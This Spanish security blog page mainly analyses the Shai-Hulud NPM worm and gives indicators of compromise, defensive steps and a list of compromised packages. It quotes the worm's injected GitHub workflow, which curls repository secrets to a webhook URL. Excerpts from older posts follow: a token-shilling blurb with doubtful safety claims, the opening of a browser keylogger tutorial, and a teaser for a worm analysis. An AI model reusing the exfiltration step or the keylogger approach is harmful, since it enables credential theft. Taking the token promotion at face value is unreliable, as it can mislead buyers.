El gusano Shai-Hulud

El 16 de septiembre (del 2025)  se descubrió in the wild (en circulación) una amenaza que exfiltra datos sensibles utilizando como punto de entrada paquetes infectados de NPM. Me di a la tarea de echarle un vistazo, esto porque aparecieron muchos «gurus» sobre todo en Tik tok que han malinformado un poco y sobre todo exagerado las acciones que realiza esta amenaza.
Ilustración que contiene una representación del gusano Shai-Hulud

Imagen generada con ChatGPT

Primer vistazo

Nombre:

Shai-Hulud

Tipo:

Gusano de Internet

Sistema Operativo afectado:

Linux / MacOS (Windows puede ser infetcado, pero Shai-Hulud no realizará ningua acción en este sistema operativo).

Vector de entrada

Paquetes infectados de NPM, el gestor de paquetes de Node.js.

Efectos

Shai Hulud se centra en tratar de exfiltrar tokens de acceso de servicios en la nube, infectar otros paquetes NPM. También intentará divulgar otro tipo de información sensible en Github, para ello hace públicos repositorios privados.

Cómo funciona

Motor de replicado

Shai Hulud es un sofisticado ataque a la cadena de suministro de los paquetes NPM, para conseguir ser ejecutado cuando se instala un paquete se agrega a sí mismo a la sección scripts del archivo package.json.
"scripts": {
    ...
    "postinstall": "node bundle.js" // <--- bundle.js es la copia del gusano
}
El archivo bundle.js es un Javascript minificado de 3.6Mb de tamaño en disco
El módulo de propagación por NPM busca por el NPM_TOKEN en ~/.npmrc y las variables de entorno. Después de validarlo via una peticion al endpoint /whoami accede a /v1/search?text=maintainer:${username}&size=20 para obtener los primeros 20 paquetes de los que el usuario tenga el rol de maintainer. A los cuales les agregará el apartado postinstall para llamarse a sí mismo.

Recolección de credenciales

El gusano descarga y ejecuta el binario de TruffleHog para escanear el equipo en busca de credenciales, para ello busca patrones usando expresiones regulares como AKIA[0-9A-Z]{16} (ej. AWS Keys). Adicionalmente el gusano hace un dump de todas las variables de entorno, pudiendo así capturar tokens como GITHUB_TOKEN, AWS_ACCESS_KEY_ID, etc.
Espeficicamente se concentra en buscar:
  • Tokens de acceso personal de GitHub
  • AWS access keys (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • Credenciales de Google Cloud Platform
  • Credenciales de Azure
  • Cloud metadata endpoints
  • Tokens de autenticación de NPM

Exfiltración de datos

Si el malware encuentra credenciales de Github intentará realizar las siguientes acciones:
  • Itera los repositorios que pertenecen al usuario para asegurar su persistencia
  • Intenta obtener credenciales / contraseñas
  • Intenta enviar los datos obtenidos a la siguiente URL mediante un webhook: https[://]webhook[.]site (este sitio en sí no es malicioso, pero es muy usado por actores de amenazas para almacenar información recolectada), para ello inyecta una ejecución cURL que se ha de ejecutar cada vez que se haga push a un repositorio.
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILENAME=".github/workflows/shai-hulud-workflow.yml"
FILE_CONTENT=$(cat << 'EOF'
on:
    push:
jobs:
    process:
    runs-on: ubuntu-latest
    steps:
        - name: Data Processing
        run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
        env:
            CONTENTS: ${{ toJSON(secrets) }}
EOF
)
Otra accion maliciosa que realiza es en listar todos los repositorios que pertenecen al usuario del que consiguió acceso y si son privados, un nuevo repositorio público será creado, este incluirá todo el contenido del repositorio privado. El nombre del nuevo repositorio será igual al original, pero se le agrega el sufijo -migration.

Diagrama de Shai-Hulud

Imagen que contiene el diagrama de flujo del malware Shai-Hulud

Imagen obtenida de stepsecurity.io / Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages

Síntomas de infección / Indicadores de compromiso

La presencia de uno o más de los siguietes sintomas podría significar que se está afectado por Shai-Hulud:
  • Aparecen repositorios publicos con el mismo contenido y nombre que los privados, pero con -migration al final.
  • Aparecen repositorios públicos llamados Shai-Hulud cuyo único contenido es un archivo llamado data.json.
  • Llamadas constantes al API de Github.
  • Llamadas al webhook https://webhook.site/bb8ca5f6-4175-45d2-fc9ebb8170b7 (se puede consultar si hay llamadas usando la GUI del NGFW o la herramienta de seguridad perimetrar que se disponga).
  • Buscar archivos bundle.js de 3.6Mb de tamaño en disco. Ante la duda de si un archivo bundle.js es una copia del malware, se le puede aplicar un hasheo en SHA256 y compararlo con el hash del malware. El hash del archivo bundle.js original es 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

Línea de defensa

  • Buscar archivos bundle.js y por medio de un hash SHA256 asegurarse que no son copias del malware. Prestar especiual atención si un archivo bundle.js es de 3.6Mb. Si resulta ser una copia, eliminarla y quitar la entrada postinstall del archivo package.json.
  • Mediante reglas de NGFW bloquear el acceso a https://webhook.site/bb8ca5f6-4175-45d2-fc9ebb8170b7
  • Con TruffleHog, buscar tokens de acceso en los repositorios comprometidos (aquellos privados que fueron publicados con -migration al final del nombre) y revocarlos. Eliminar también los repositorios -migration.
  • Buscar tokens de acceso comprometidos en los repositorios Shai-Hulud cuyo único contenido es un archivo data.json. Este archivo es un dump con doble codificación Base64 de las variables de entorno del sistema comprometido. Eliminar el repositorio Shai-Hulud.
  • Monitorear contantemente en búsqueda de indicadores de compromiso.

Paquetes comprometidos

Este es un ataque en curso, la lista puede variar constantemente.
angulartics2@14.1.2
@ctrl/deluge@7.2.2
@ctrl/golang-template@1.4.3
@ctrl/magnet-link@4.0.4
@ctrl/ngx-codemirror@7.0.2
@ctrl/ngx-csv@6.0.2
@ctrl/ngx-emoji-mart@9.2.2
@ctrl/ngx-rightclick@4.0.2
@ctrl/qbittorrent@9.7.2
@ctrl/react-adsense@2.0.2
@ctrl/shared-torrent@6.3.2
@ctrl/tinycolor@4.1.1, @4.1.2
@ctrl/torrent-file@4.1.2
@ctrl/transmission@7.3.1
@ctrl/ts-base32@4.0.2
encounter-playground@0.0.5
json-rules-engine-simplified@0.2.4, 0.2.1
koa2-swagger-ui@5.11.2, 5.11.1
@nativescript-community/gesturehandler@2.0.35
@nativescript-community/sentry 4.6.43
@nativescript-community/text@1.6.13
@nativescript-community/ui-collectionview@6.0.6
@nativescript-community/ui-drawer@0.1.30
@nativescript-community/ui-image@4.5.6
@nativescript-community/ui-material-bottomsheet@7.2.72
@nativescript-community/ui-material-core@7.2.76
@nativescript-community/ui-material-core-tabs@7.2.76
ngx-color@10.0.2
ngx-toastr@19.0.2
ngx-trend@8.0.1
react-complaint-image@0.0.35
react-jsonschema-form-conditionals@0.3.21
react-jsonschema-form-extras@1.0.4
rxnt-authentication@0.0.6
rxnt-healthchecks-nestjs@1.0.5
rxnt-kue@1.0.7
swc-plugin-component-annotate@1.9.2
ts-gaussian@3.0.6
@ahmedhfarag/ngx-perfect-scrollbar@20.0.20
@ahmedhfarag/ngx-virtual-scroller@4.0.4
@art-ws/common@2.0.22
@art-ws/common@2.0.28
@art-ws/config-eslint@2.0.4
@art-ws/config-eslint@2.0.5
@art-ws/config-ts@2.0.7
@art-ws/config-ts@2.0.8
@art-ws/db-context@2.0.21
@art-ws/db-context@2.0.24
@art-ws/di@2.0.28
@art-ws/di@2.0.32
@art-ws/di-node@2.0.13
@art-ws/eslint@1.0.5
@art-ws/eslint@1.0.6
@art-ws/fastify-http-server@2.0.24
@art-ws/fastify-http-server@2.0.27
@art-ws/http-server@2.0.21
@art-ws/http-server@2.0.25
@art-ws/openapi@0.1.12
@art-ws/openapi@0.1.9
@art-ws/package-base@1.0.5
@art-ws/package-base@1.0.6
@art-ws/prettier@1.0.5
@art-ws/prettier@1.0.6
@art-ws/slf@2.0.15
@art-ws/slf@2.0.22
@art-ws/ssl-info@1.0.10
@art-ws/ssl-info@1.0.9
@art-ws/web-app@1.0.3
@art-ws/web-app@1.0.4
@basic-ui-components-stc/basic-ui-components@1.0.5
@crowdstrike/commitlint@8.1.1
@crowdstrike/commitlint@8.1.2
@crowdstrike/falcon-shoelace@0.4.1
@crowdstrike/falcon-shoelace@0.4.2
@crowdstrike/foundry-js@0.19.1
@crowdstrike/foundry-js@0.19.2
@crowdstrike/glide-core@0.34.2
@crowdstrike/glide-core@0.34.3
@crowdstrike/logscale-dashboard@1.205.1
@crowdstrike/logscale-dashboard@1.205.2
@crowdstrike/logscale-file-editor@1.205.1
@crowdstrike/logscale-file-editor@1.205.2
@crowdstrike/logscale-parser-edit@1.205.1
@crowdstrike/logscale-parser-edit@1.205.2
@crowdstrike/logscale-search@1.205.1
@crowdstrike/logscale-search@1.205.2
@crowdstrike/tailwind-toucan-base@5.0.1
@crowdstrike/tailwind-toucan-base@5.0.2
@ctrl/deluge@7.2.1
@ctrl/golang-template@1.4.2
@ctrl/magnet-link@4.0.3
@ctrl/ngx-codemirror@7.0.1
@ctrl/ngx-csv@6.0.1
@ctrl/ngx-emoji-mart@9.2.1
@ctrl/ngx-rightclick@4.0.1
@ctrl/qbittorrent@9.7.1
@ctrl/react-adsense@2.0.1
@ctrl/shared-torrent@6.3.1
@ctrl/tinycolor@4.1.1
@ctrl/tinycolor@4.1.2
@ctrl/torrent-file@4.1.1
@ctrl/ts-base32@4.0.1
@hestjs/core@0.2.1
@hestjs/cqrs@0.1.6
@hestjs/demo@0.1.2
@hestjs/eslint-config@0.1.2
@hestjs/logger@0.1.6
@hestjs/scalar@0.1.7
@hestjs/validation@0.1.6
@nativescript-community/arraybuffers@1.1.6
@nativescript-community/arraybuffers@1.1.7
@nativescript-community/arraybuffers@1.1.8
@nativescript-community/perms@3.0.5
@nativescript-community/perms@3.0.6
@nativescript-community/perms@3.0.7
@nativescript-community/perms@3.0.8
@nativescript-community/perms@3.0.9
@nativescript-community/sentry@4.6.43
@nativescript-community/sqlite@3.5.3
@nativescript-community/sqlite@3.5.4
@nativescript-community/sqlite@3.5.5
@nativescript-community/text@1.6.10
@nativescript-community/text@1.6.11
@nativescript-community/text@1.6.12
@nativescript-community/text@1.6.9
@nativescript-community/typeorm@0.2.30
@nativescript-community/typeorm@0.2.31
@nativescript-community/typeorm@0.2.32
@nativescript-community/typeorm@0.2.33
@nativescript-community/ui-document-picker@1.1.27
@nativescript-community/ui-document-picker@1.1.28
@nativescript-community/ui-label@1.3.35
@nativescript-community/ui-label@1.3.36
@nativescript-community/ui-label@1.3.37
@nativescript-community/ui-material-bottom-navigation@7.2.72
@nativescript-community/ui-material-bottom-navigation@7.2.73
@nativescript-community/ui-material-bottom-navigation@7.2.74
@nativescript-community/ui-material-bottom-navigation@7.2.75
@nativescript-community/ui-material-core@7.2.72
@nativescript-community/ui-material-core@7.2.73
@nativescript-community/ui-material-core@7.2.74
@nativescript-community/ui-material-core@7.2.75
@nativescript-community/ui-material-core-tabs@7.2.72
@nativescript-community/ui-material-core-tabs@7.2.73
@nativescript-community/ui-material-core-tabs@7.2.74
@nativescript-community/ui-material-core-tabs@7.2.75
@nativescript-community/ui-material-ripple@7.2.72
@nativescript-community/ui-material-ripple@7.2.73
@nativescript-community/ui-material-ripple@7.2.74
@nativescript-community/ui-material-ripple@7.2.75
@nativescript-community/ui-material-tabs@7.2.72
@nativescript-community/ui-material-tabs@7.2.73
@nativescript-community/ui-material-tabs@7.2.74
@nativescript-community/ui-material-tabs@7.2.75
@nativescript-community/ui-pager@14.1.35
@nativescript-community/ui-pager@14.1.36
@nativescript-community/ui-pager@14.1.37
@nativescript-community/ui-pager@14.1.38
@nativescript-community/ui-pulltorefresh@2.5.4
@nativescript-community/ui-pulltorefresh@2.5.5
@nativescript-community/ui-pulltorefresh@2.5.6
@nativescript-community/ui-pulltorefresh@2.5.7
@nexe/config-manager@0.1.1
@nexe/eslint-config@0.1.1
@nexe/logger@0.1.3
@nstudio/angular@20.0.4
@nstudio/angular@20.0.5
@nstudio/angular@20.0.6
@nstudio/focus@20.0.4
@nstudio/focus@20.0.5
@nstudio/focus@20.0.6
@nstudio/nativescript-checkbox@2.0.6
@nstudio/nativescript-checkbox@2.0.7
@nstudio/nativescript-checkbox@2.0.8
@nstudio/nativescript-checkbox@2.0.9
@nstudio/nativescript-loading-indicator@5.0.1
@nstudio/nativescript-loading-indicator@5.0.2
@nstudio/nativescript-loading-indicator@5.0.3
@nstudio/nativescript-loading-indicator@5.0.4
@nstudio/ui-collectionview@5.1.11
@nstudio/ui-collectionview@5.1.12
@nstudio/ui-collectionview@5.1.13
@nstudio/ui-collectionview@5.1.14
@nstudio/web@20.0.4
@nstudio/web-angular@20.0.4
@nstudio/xplat@20.0.4
@nstudio/xplat@20.0.5
@nstudio/xplat@20.0.6
@nstudio/xplat@20.0.7
@nstudio/xplat-utils@20.0.4
@nstudio/xplat-utils@20.0.5
@nstudio/xplat-utils@20.0.6
@nstudio/xplat-utils@20.0.7
@operato/board@9.0.35
@operato/board@9.0.36
@operato/board@9.0.37
@operato/board@9.0.38
@operato/board@9.0.39
@operato/board@9.0.40
@operato/board@9.0.41
@operato/board@9.0.42
@operato/board@9.0.43
@operato/board@9.0.44
@operato/board@9.0.45
@operato/board@9.0.46
@operato/board@9.0.47
@operato/board@9.0.48
@operato/board@9.0.49
@operato/board@9.0.50
@operato/board@9.0.51
@operato/data-grist@9.0.29
@operato/data-grist@9.0.35
@operato/data-grist@9.0.36
@operato/data-grist@9.0.37
@operato/graphql@9.0.22
@operato/graphql@9.0.35
@operato/graphql@9.0.36
@operato/graphql@9.0.37
@operato/graphql@9.0.38
@operato/graphql@9.0.39
@operato/graphql@9.0.40
@operato/graphql@9.0.41
@operato/graphql@9.0.42
@operato/graphql@9.0.43
@operato/graphql@9.0.44
@operato/graphql@9.0.45
@operato/graphql@9.0.46
@operato/graphql@9.0.47
@operato/graphql@9.0.48
@operato/graphql@9.0.49
@operato/graphql@9.0.50
@operato/graphql@9.0.51
@operato/headroom@9.0.2
@operato/headroom@9.0.35
@operato/headroom@9.0.36
@operato/headroom@9.0.37
@operato/help@9.0.35
@operato/help@9.0.36
@operato/help@9.0.37
@operato/help@9.0.38
@operato/help@9.0.39
@operato/help@9.0.40
@operato/help@9.0.41
@operato/help@9.0.42
@operato/help@9.0.43
@operato/help@9.0.44
@operato/help@9.0.45
@operato/help@9.0.46
@operato/help@9.0.47
@operato/help@9.0.48
@operato/help@9.0.49
@operato/help@9.0.50
@operato/help@9.0.51
@operato/i18n@9.0.35
@operato/i18n@9.0.36
@operato/i18n@9.0.37
@operato/input@9.0.35
@operato/input@9.0.36
@operato/input@9.0.37
@operato/input@9.0.38
@operato/input@9.0.39
@operato/input@9.0.40
@operato/input@9.0.41
@operato/input@9.0.42
@operato/input@9.0.43
@operato/input@9.0.44
@operato/input@9.0.45
@operato/input@9.0.46
@operato/input@9.0.47
@operato/input@9.0.48
@operato/layout@9.0.35
@operato/layout@9.0.37
@operato/popup@9.0.35
@operato/popup@9.0.36
@operato/popup@9.0.37
@operato/popup@9.0.38
@operato/popup@9.0.39
@operato/popup@9.0.40
@operato/popup@9.0.41
@operato/popup@9.0.42
@operato/popup@9.0.43
@operato/popup@9.0.44
@operato/popup@9.0.45
@operato/popup@9.0.46
@operato/popup@9.0.47
@operato/popup@9.0.48
@operato/popup@9.0.49
@operato/popup@9.0.50
@operato/popup@9.0.51
@operato/pull-to-refresh@9.0.35
@operato/pull-to-refresh@9.0.36
@operato/pull-to-refresh@9.0.37
@operato/pull-to-refresh@9.0.38
@operato/pull-to-refresh@9.0.39
@operato/pull-to-refresh@9.0.40
@operato/pull-to-refresh@9.0.41
@operato/pull-to-refresh@9.0.42
@operato/pull-to-refresh@9.0.43
@operato/pull-to-refresh@9.0.44
@operato/pull-to-refresh@9.0.45
@operato/pull-to-refresh@9.0.46
@operato/pull-to-refresh@9.0.47
@operato/shell@9.0.22
@operato/shell@9.0.35
@operato/shell@9.0.36
@operato/shell@9.0.37
@operato/shell@9.0.38
@operato/shell@9.0.39
@operato/styles@9.0.2
@operato/styles@9.0.35
@operato/styles@9.0.36
@operato/styles@9.0.37
@operato/utils@9.0.22
@operato/utils@9.0.35
@operato/utils@9.0.36
@operato/utils@9.0.37
@operato/utils@9.0.38
@operato/utils@9.0.39
@operato/utils@9.0.40
@operato/utils@9.0.41
@operato/utils@9.0.42
@operato/utils@9.0.43
@operato/utils@9.0.44
@operato/utils@9.0.45
@operato/utils@9.0.46
@operato/utils@9.0.47
@operato/utils@9.0.48
@operato/utils@9.0.49
@operato/utils@9.0.50
@operato/utils@9.0.51
@teselagen/bio-parsers@0.4.29
@teselagen/bio-parsers@0.4.30
@teselagen/bounce-loader@0.3.16
@teselagen/bounce-loader@0.3.17
@teselagen/file-utils@0.3.21
@teselagen/file-utils@0.3.22
@teselagen/liquibase-tools@0.4.1
@teselagen/ove@0.7.39
@teselagen/ove@0.7.40
@teselagen/range-utils@0.3.14
@teselagen/range-utils@0.3.15
@teselagen/react-list@0.8.19
@teselagen/react-list@0.8.20
@teselagen/react-table@6.10.19
@teselagen/react-table@6.10.20
@teselagen/react-table@6.10.21
@teselagen/react-table@6.10.22
@teselagen/sequence-utils@0.3.33
@teselagen/sequence-utils@0.3.34
@teselagen/ui@0.9.10
@teselagen/ui@0.9.9
@thangved/callback-window@1.1.4
@things-factory/attachment-base@9.0.42
@things-factory/attachment-base@9.0.43
@things-factory/attachment-base@9.0.44
@things-factory/attachment-base@9.0.45
@things-factory/attachment-base@9.0.46
@things-factory/attachment-base@9.0.47
@things-factory/attachment-base@9.0.48
@things-factory/attachment-base@9.0.49
@things-factory/attachment-base@9.0.50
@things-factory/attachment-base@9.0.51
@things-factory/attachment-base@9.0.52
@things-factory/attachment-base@9.0.53
@things-factory/attachment-base@9.0.54
@things-factory/attachment-base@9.0.55
@things-factory/auth-base@9.0.42
@things-factory/auth-base@9.0.43
@things-factory/auth-base@9.0.44
@things-factory/auth-base@9.0.45
@things-factory/email-base@9.0.42
@things-factory/email-base@9.0.43
@things-factory/email-base@9.0.44
@things-factory/email-base@9.0.45
@things-factory/email-base@9.0.46
@things-factory/email-base@9.0.47
@things-factory/email-base@9.0.48
@things-factory/email-base@9.0.49
@things-factory/email-base@9.0.50
@things-factory/email-base@9.0.51
@things-factory/email-base@9.0.52
@things-factory/email-base@9.0.53
@things-factory/email-base@9.0.54
@things-factory/email-base@9.0.55
@things-factory/email-base@9.0.56
@things-factory/email-base@9.0.57
@things-factory/email-base@9.0.58
@things-factory/email-base@9.0.59
@things-factory/env@9.0.42
@things-factory/env@9.0.43
@things-factory/env@9.0.44
@things-factory/env@9.0.45
@things-factory/integration-base@9.0.42
@things-factory/integration-base@9.0.43
@things-factory/integration-base@9.0.44
@things-factory/integration-base@9.0.45
@things-factory/integration-marketplace@9.0.42
@things-factory/integration-marketplace@9.0.43
@things-factory/integration-marketplace@9.0.44
@things-factory/integration-marketplace@9.0.45
@things-factory/shell@9.0.42
@things-factory/shell@9.0.43
@things-factory/shell@9.0.44
@things-factory/shell@9.0.45
@tnf-dev/api@1.0.8
@tnf-dev/core@1.0.8
@tnf-dev/js@1.0.8
@tnf-dev/mui@1.0.8
@tnf-dev/react@1.0.8
@ui-ux-gang/devextreme-angular-rpk@24.1.7
@ui-ux-gang/devextreme-rpk@24.1.7
@yoobic/design-system@6.5.17
@yoobic/jpeg-camera-es6@1.0.13
@yoobic/yobi@8.7.53
ace-colorpicker-rpk@0.0.14
airchief@0.3.1
airpilot@0.8.8
angulartics2@14.1.1
browser-webdriver-downloader@3.0.8
capacitor-notificationhandler@0.0.2
capacitor-notificationhandler@0.0.3
capacitor-plugin-healthapp@0.0.2
capacitor-plugin-healthapp@0.0.3
capacitor-plugin-ihealth@1.1.8
capacitor-plugin-ihealth@1.1.9
capacitor-plugin-vonage@1.0.2
capacitor-plugin-vonage@1.0.3
capacitorandroidpermissions@0.0.4
capacitorandroidpermissions@0.0.5
config-cordova@0.8.5
cordova-plugin-voxeet2@1.0.24
cordova-voxeet@1.0.32
create-hest-app@0.1.9
db-evo@1.1.4
db-evo@1.1.5
devextreme-angular-rpk@21.2.8
devextreme-rpk@21.2.8
ember-browser-services@5.0.2
ember-browser-services@5.0.3
ember-headless-form@1.1.2
ember-headless-form@1.1.3
ember-headless-form-yup@1.0.1
ember-headless-table@2.1.5
ember-headless-table@2.1.6
ember-url-hash-polyfill@1.0.12
ember-url-hash-polyfill@1.0.13
ember-velcro@2.2.1
ember-velcro@2.2.2
encounter-playground@0.0.2
encounter-playground@0.0.3
encounter-playground@0.0.4
eslint-config-crowdstrike@11.0.2
eslint-config-crowdstrike@11.0.3
eslint-config-crowdstrike-node@4.0.3
eslint-config-crowdstrike-node@4.0.4
eslint-config-teselagen@6.1.7
eslint-config-teselagen@6.1.8
globalize-rpk@1.7.4
graphql-sequelize-teselagen@5.3.8
graphql-sequelize-teselagen@5.3.9
html-to-base64-image@1.0.2
json-rules-engine-simplified@0.2.1
json-rules-engine-simplified@0.2.2
json-rules-engine-simplified@0.2.3
json-rules-engine-simplified@0.2.4
jumpgate@0.0.2
koa2-swagger-ui@5.11.1
koa2-swagger-ui@5.11.2
mcfly-semantic-release@1.3.1
mcp-knowledge-base@0.0.2
mcp-knowledge-graph@1.2.1
mobioffice-cli@1.0.3
monorepo-next@13.0.1
monorepo-next@13.0.2
mstate-angular@0.4.4
mstate-cli@0.4.7
mstate-dev-react@1.1.1
mstate-react@1.6.5
ng-imports-checker@0.0.10
ng-imports-checker@0.0.9
ng2-file-upload@7.0.2
ng2-file-upload@8.0.1
ng2-file-upload@8.0.2
ng2-file-upload@8.0.3
ng2-file-upload@9.0.1
ngx-bootstrap@18.1.4
ngx-bootstrap@19.0.3
ngx-bootstrap@19.0.4
ngx-bootstrap@20.0.3
ngx-bootstrap@20.0.4
ngx-bootstrap@20.0.5
ngx-bootstrap@20.0.6
ngx-color@10.0.1
ngx-toastr@19.0.1
ngx-ws@1.1.5
ngx-ws@1.1.6
oradm-to-gql@35.0.14
oradm-to-gql@35.0.15
oradm-to-sqlz@1.1.2
oradm-to-sqlz@1.1.3
oradm-to-sqlz@1.1.4
oradm-to-sqlz@1.1.5
ove-auto-annotate@0.0.10
ove-auto-annotate@0.0.9
pm2-gelf-json@1.0.4
pm2-gelf-json@1.0.5
printjs-rpk@1.6.1
react-complaint-image@0.0.32
react-complaint-image@0.0.33
react-complaint-image@0.0.34
react-jsonschema-form-conditionals@0.3.18
react-jsonschema-form-conditionals@0.3.19
react-jsonschema-form-conditionals@0.3.20
react-jsonschema-form-extras@1.0.1
react-jsonschema-form-extras@1.0.2
react-jsonschema-form-extras@1.0.3
react-jsonschema-rxnt-extras@0.4.6
react-jsonschema-rxnt-extras@0.4.7
react-jsonschema-rxnt-extras@0.4.8
react-jsonschema-rxnt-extras@0.4.9
remark-preset-lint-crowdstrike@4.0.1
remark-preset-lint-crowdstrike@4.0.2
rxnt-authentication@0.0.3
rxnt-authentication@0.0.4
rxnt-authentication@0.0.5
rxnt-healthchecks-nestjs@1.0.2
rxnt-healthchecks-nestjs@1.0.3
rxnt-healthchecks-nestjs@1.0.4
rxnt-kue@1.0.4
rxnt-kue@1.0.5
rxnt-kue@1.0.6
swc-plugin-component-annotate@1.9.1
tbssnch@1.0.2
teselagen-interval-tree@1.1.2
tg-client-query-builder@2.14.4
tg-client-query-builder@2.14.5
tg-redbird@1.3.1
tg-redbird@1.3.2
tg-seq-gen@1.0.10
tg-seq-gen@1.0.9
thangved-react-grid@1.0.3
ts-gaussian@3.0.5
ts-imports@1.0.1
ts-imports@1.0.2
tvi-cli@0.1.5
ve-bamreader@0.2.6
ve-bamreader@0.2.7
ve-editor@1.0.1
ve-editor@1.0.2
verror-extra@6.0.1
voip-callkit@1.0.2
voip-callkit@1.0.3
wdio-web-reporter@0.1.3
yargs-help-output@5.0.3
yoo-styles@6.0.326

Hice una shitcoin… y está listada en Pancakeswap

Hace algunos meses comencé a medio meterme a este oscuro(?) mundo de las shitcoins, aunque el 99.99% son estafas, algunas sí que valen la pena. Incluso en las que son estafa, puedes sacar provecho si tienes el colmillo suficiente, básicamente entrar cuando está recién salida, hacer rápido un x5 o x10, sacar ganancias y salirse.

Es bien sabido por todos que el Santo Grial de las shitcoins es la Binamce Smart Chain y el exchange decentralizado Pancakeswap. Así que mi pequeña shitcoin está en ese ecosistema.

¿Cómo comencé todo?

A principios de este 2021, que me empecé a meter más en forma al mundo de las criptomonedas, tardé poco en ver lo fácil que es crear una criptomoneda (refiriendome por criptomoneda a tokens creados por medio de contratos inteligentes).

Mi primera shitcoin fue un token ERC-20 súper mal hecho. En mi afán de experimentar, y sin saber que existía la Binance Smart Chain, tomé el único smart contract que conocía en ese momento y le cambié algunas cositas, y lo desplegué en la Ethereum Mainnet. Fue así que nació Ferras Coin. Para tratar de hacerlo un poco serio le puse página web, cuenta de Twitter y Github.

Fue tiempo después que descubrí la Binance Smart Chain, las shitcoins que existen ahí y sus ridículamente baratas comisiones. También encontré tutoriales de Solidity e hice algunas cuantas pruebas. Si bien el contrato de mi segunda shitcoin también es copy & paste, ahora sí que entiendo lo que hace.

El desarrollo

El proceso de creación de mi segunda shitcoin comenzó con la elección del nombre, el símbolo (tiker), suministro total y los tokenomics. Este fue el resultado:

  • Nombre: Chernobyl Inu
  • Tiker: CHERNOBYL
  • Suministro: 100,000,000,000 (cien mil millones)
Parte del código del token CHERNOBYL

Acto seguido me conseguí una plantilla de contrato inteligente, le eche un vistazo y le cambié lo necesario para convertirla en el código fuente de CHERNOBYL.

Yo estaba muy emocionado de hacer lo que sería mi primera shitcoin en la BSC, ni siquiera probé el contrato, lo desplegué directo en la Mainnet. Después en Pancakeswap le agregué un poco de liquidez y listo.

Mi sorpresa fue mayor cuando vi que al instante, un bot realizó compras, también vi una compra grande (43 dolares), aunque quien sea que haya comprado, vendió instantes después por 45 dólares.

Awww, hice ganar a alguien 2 dólares

Como experimento creo que fue bueno y me inspira a realizar proyectos más grandes, de hecho tengo ya unos en mente.

Por último, para que el token CHERNOBYL no quede vilmente en el olvido, traté de convertirlo en un proyecto más o menos serio, así que le hice un roadmap, el cual puedes descargar aquí. También hice un pequeño texto para hacer shill.

💥☢💰 Chernobyl Inu💰☢💥
Tiker: CHERNOBYL
Contract: 0x4BE12BfB6A1dE112711Ef3C84Bde6a35b276e9C4
💹 Low market cap
💹 100,000,000,000 Total supply
➡ 50% of total supply are in dev’s wallet for future burning & future airdrops
🔥 30% of total supply will be burned on USD 5,000 MC
🔓 Liquidity unlocked (100% of initial liquidity will be burned on USD 15,000 MC)
👀 Not rennounced ownership
🚫 No Rugpull
📝 Verified contract
✅100% SAFU

Keylogger en Javascript

Javascript es un lenguaje de programación interpretado, dialecto del estándar ECMAScript.

Se utiliza comunmente en la programación web como lenguaje client-side para añadir mejoras en la interfaz de usuario, interactividad del usuario con la página, e incluso, para generar páginas web dinámicas. No obstante, tambien puede ser usado para distribuir malware y otro tipo de amenazas, para muestra, basta con realizar una búsqueda en Google con términos como: Javascript Monero minerJavascript Ransomware, Javascript Virus y similares.

En este tutorial voy a presentar como hacer un Keylogger ultra sencillo, pero antes de comenzar vamos a definir qué es un keylogger:

Keylogger

Programa generalmente oculto al usuario, que se encarga de registrar todas las pulsaciones de teclas. Puede ser usado por criminales para obtener números de tarjetas de crédito, usuarios, contraseñas y otra información sensible.

Keyloggers famosos:

  • Teclassss.exe
  • IKS Keylogger Sealth

Existe otro programa similar a un keylogger, me refiero al clicklogger. Este es un programa que se encarga de registrar capturas de pantalla cada vez que el usuario hace clic. Estos programas suelen poner la ubicación del mouse en la captura y si el clic fue con el botón izquierdo o derecho.

Caracteristicas del mini Keylogger-JS

Dada la naturaleza de la forma en que funcionará, tendremos algunas limitaciones:

  • Se ejecutará en los navegadores. No podremos capturar las teclas pulsadas fuera de la página que está visualizando el user.
  • Estará escrito en JS, así que requiere JS activado en el navegador.
  • Para que comience a funcionar tendremos que hacer que el usuario lo instale, para esto hay diferentes métodos que veremos más adelante.

Sigue leyendo

Envío de archivos vía puerto serie (VB6)

Hola de nuevo. En este post les voy a presentar un experimento que recientemente hice en Visual Basic 6.0.

Decidí hacerlos por 3 cosas:

  • Me encanta Visual Basic 6 xD
  • Tenía un poco de tiempo libre
  • No he visto muchos ejemplos de esto en Internet (búsqueda en Google, Youtube)

El video con la demostración está en mi canal de Youtube

Para comenzar hay que tener en cuenta ciertas consideraciones:

  • La transferencia del archivo es byte por byte, será más, o menos rápida dependiendo de la velocidad con la que trabajamos el puerto serie (baudios por segundo).
  • Podemos calcular el retardo que ha de haber entre el envío de un byte y otro de acuerdo a los baudios por segundo que tengamos configurados en el puerto serie.
  • El tamaño máximo del archivo a enviar está determinado por el tamaño máximo de un arreglo. En VB6 es el valor máximo de la parte positiva de Long, esto es (2^31)-1 bytes = 2Gb.
  • La aplicación cliente, tendrá que capturar lo que se envía por el puerto serie e irlo almacenando en memoria, después, al «guardar» solo meteremos el contenido de la memoria en un archivo.
  • Para probar la aplicación en la misma PC, unir los puertos 2 y 3 (RX / TX) del puerto serie.

Conceptos básicos del puerto serie

El objetivo de este post no es enseñarte los conceptos básicos del puerto serie, pero tampoco puedo omitir algunas generalidades: Sigue leyendo

Escenario de ciberseguridad para el 2018

A lo largo del año 2017, se hicieron presentes varios ciberataques, algunos de escala global y otros tantos usando técnicas nunca antes vistas.

Si bien las soluciones de seguridad han avanzado a pasos agigantados, las técnicas que usan los ciberdelincuentes suelen avanzar aún más rápido.

En mi opinión, el año 2018 será un año interesante desde el punto de vista de la ciberseguridad. ¿Qué nos deparará el 2018 en dicha materia?

Estas son algunas de las cosas que creo que veremos: Sigue leyendo

Análisis de un Worm VBS creado desde cero

En la entrega pasada analicé un pequeño Worm creado con la herramienta VBSWG (Visual Basic Script Worm Generator), vimos que genera código de relativamente baja calidad y facilmente analizable. Sin embargo, recordemos que dicha herramienta era muy usada en la primera mitad de la década de los 2000’s, en ese entonces el código generado podría considerarse bastante bueno, incluso hubo virus famosos creados con VBSWG.

Hoy presentaré el análisis de un Worm VBS que hice en el año 2003. Aunque nunca fue liberado, lo sigo considerando mi primer gusano. Sigue leyendo

